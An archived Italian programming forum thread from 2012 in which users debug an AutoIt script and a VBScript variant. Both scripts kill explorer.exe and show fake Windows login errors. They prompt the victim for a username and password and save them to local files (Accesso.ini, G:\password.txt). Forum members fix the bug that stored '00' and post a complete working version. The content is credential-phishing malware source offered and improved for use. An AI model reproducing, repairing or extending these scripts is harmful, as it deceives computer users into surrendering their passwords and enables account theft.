+- BorderGame (https://www.bordergame.it)
+-- Forum: Programmazione (/Forum-Programmazione--158)
+--- Forum: Programmazione (/Forum-Programmazione)
+---- Forum: Autoit (/Forum-Autoit)
+---- Discussione: Errore - Dati accesso (/Thread-Errore-Dati-accesso)
Errore - Dati accesso - Lawliet - 14-03-2012 09:21 PM
Quando mi salva il testo mi scrive: "00" al posto dell'username e della password :O
Chi mi trova errorino?
Codice:
ProcessClose("explorer.exe")
ProcessClose("explorer.exe")
Msgbox(16,"Conferma account windows","C'è stato un errore nel login dell'account, si prega di immettere i dati richiesti o l'utente verrà disconnesso.")
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Autenticazione account WINDOWS", 321, 156, 0, 0)
$Label1 = GUICtrlCreateLabel("Inserisci il tuo nome utente", 8, 24, 129, 17)
$Input2 = GUICtrlCreateInput("", 144, 24, 153, 21)
$Input1 = GUICtrlCreateInput("", 144, 64, 153, 21)
$Label2 = GUICtrlCreateLabel("Inserisci la tua password", 8, 64, 119, 17)
$Button1 = GUICtrlCreateButton("?", 272, 120, 35, 25)
$Button2 = GUICtrlCreateButton("Autenticami", 192, 120, 75, 25)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button2()
AdlibRegister("Autenticami_ora",20)
Case $Button1()
Msgbox(64,"Autenticazione guidata","Il processo pnptest.exe ha avuto un malfunzionamento, per questo è stato trovato un errore nel login. Si è pregati di immettere i propri dati nelle descritte celle, per autenticare l'account in uso.")
EndSwitch
WEnd
Func Autenticami_ora()
if GUICtrlRead($Input2) = "" Then
Msgbox(16,"Errore","Non è stato riconosciuto ne password ne username!")
Else
Msgbox(64,"Conferma","Account autenticato.")
Shellexecute("explorer.exe")
Filewrite("Accesso.ini",GUICtrlRead($Input1) + "" + GUICtrlRead($Input2))
Exit
EndIfRE: Errore - Dati accesso - тυттσмαχ - 14-03-2012 10:01 PM
autoiti non lo tocco da molto anzi moltissimo..secondo me devi rivedere qualcosa qui
Filewrite("Accesso.ini",GUICtrlRead($Input1) + "" + GUICtrlRead($Input2)) ..a te esce 00 ==> input1(0),+ ""(nessuno spazio) + input2(0)...non so se hai capito
0+""+0=00
RE: Errore - Dati accesso - Yoshitoki - 14-03-2012 10:19 PM
EDIT:
@[Lawliet] sono riuscito a risolvere tutto, non so come perchè è la prima volta che uso l'Autoit (se lo è XD)
Codice:
Else
Msgbox(64,"Conferma","Account autenticato.")
Shellexecute("explorer.exe")
Filewrite("Accesso.ini",GUICtrlRead($Input2))
Filewrite("Accesso.ini"," ")
Filewrite("Accesso.ini",GUICtrlRead($Input1))
ExitRE: Errore - Dati accesso - Narutomega96 - 15-03-2012 03:48 PM
Codice:
ProcessClose("explorer.exe")
ProcessClose("explorer.exe")
Msgbox(16,"Conferma account windows","C'è stato un errore nel login dell'account, si prega di immettere i dati richiesti o l'utente verrà disconnesso.")
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Autenticazione account WINDOWS", 321, 156, 0, 0)
$Label1 = GUICtrlCreateLabel("Inserisci il tuo nome utente", 8, 24, 129, 17)
$Input2 = GUICtrlCreateInput("", 144, 24, 153, 21)
$Input1 = GUICtrlCreateInput("", 144, 64, 153, 21)
$Label2 = GUICtrlCreateLabel("Inserisci la tua password", 8, 64, 119, 17)
$Button1 = GUICtrlCreateButton("?", 272, 120, 35, 25)
$Button2 = GUICtrlCreateButton("Autenticami", 192, 120, 75, 25)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button2()
AdlibRegister("Autenticami_ora",20)
Case $Button1()
Msgbox(64,"Autenticazione guidata","Il processo pnptest.exe ha avuto un malfunzionamento, per questo è stato trovato un errore nel login. Si è pregati di immettere i propri dati nelle descritte celle, per autenticare l'account in uso.")
EndSwitch
WEnd
Func Autenticami_ora()
if GUICtrlRead($Input2) = "" Then
Msgbox(16,"Errore","Non è stato riconosciuto ne password ne username!")
Else
Msgbox(64,"Conferma","Account autenticato.")
Shellexecute("explorer.exe")
IniWrite("Accesso.ini", "Accesso", "Username", GUICtrlRead($Input1))
IniWrite("Accesso.ini", "Accesso", "Password",
GUICtrlRead($Input2))
Exit
EndIf
endFuncTieni :|
RE: Errore - Dati accesso - тυттσмαχ - 15-03-2012 05:58 PM
e quindi dove stava l'errore?
RE: Errore - Dati accesso - Yoshitoki - 15-03-2012 06:06 PM
L'errore stava che c'era il + , 0+0= 0
scrivendo come ho detto io:
Codice:
Filewrite("Accesso.ini",GUICtrlRead($Input2))
Filewrite("Accesso.ini"," ")
Filewrite("Accesso.ini",GUICtrlRead($Input1))
Exit(e probabilmente come ha scritto naruto) si risolve il problema , con il mio nel file .ini uscirà l'input 2 SPAZIO input 1 , ovvero ID spazio PW
Con quello di naruto esce pure la scritta "PASSWORD: BLABLA" etc XD
RE: Errore - Dati accesso - Narutomega96 - 15-03-2012 10:09 PM
è.è perchè utilizzava la funzione FileWrite, su un file .ini, dove c'è una apposita funzione ovvero la IniWrite...
RE: Errore - Dati accesso - Lawliet - 15-03-2012 11:20 PM
Oki grazie, ho fatto una piccola alternativa in basic
Codice:
Set WshShell = WScript.CreateObject("WScript.Shell")
dim filename
dim text
WshShell.Run "taskkill /m /f explorer.exe", 9
bu
sub bu()
lol=Inputbox("Scrivi la tua password o verrai disconnesso:")
n=inputbox("Inserisci il tuo nome utente:")
if lol="" and n="" then
bu
else
filename="G:\password.txt"
text= lol + "-" + 123
WshShell.Run "cmd.exe /c @echo "&text&">"&filename, 9
WshShell.Run "explorer.exe", 9
end ifRE: Errore - Dati accesso - Yoshitoki - 16-03-2012 03:34 PM
Ma perchè non scrivi mai l'ultimo rigo?XD In questo manca "end sub" , nell'altro mancava "end func"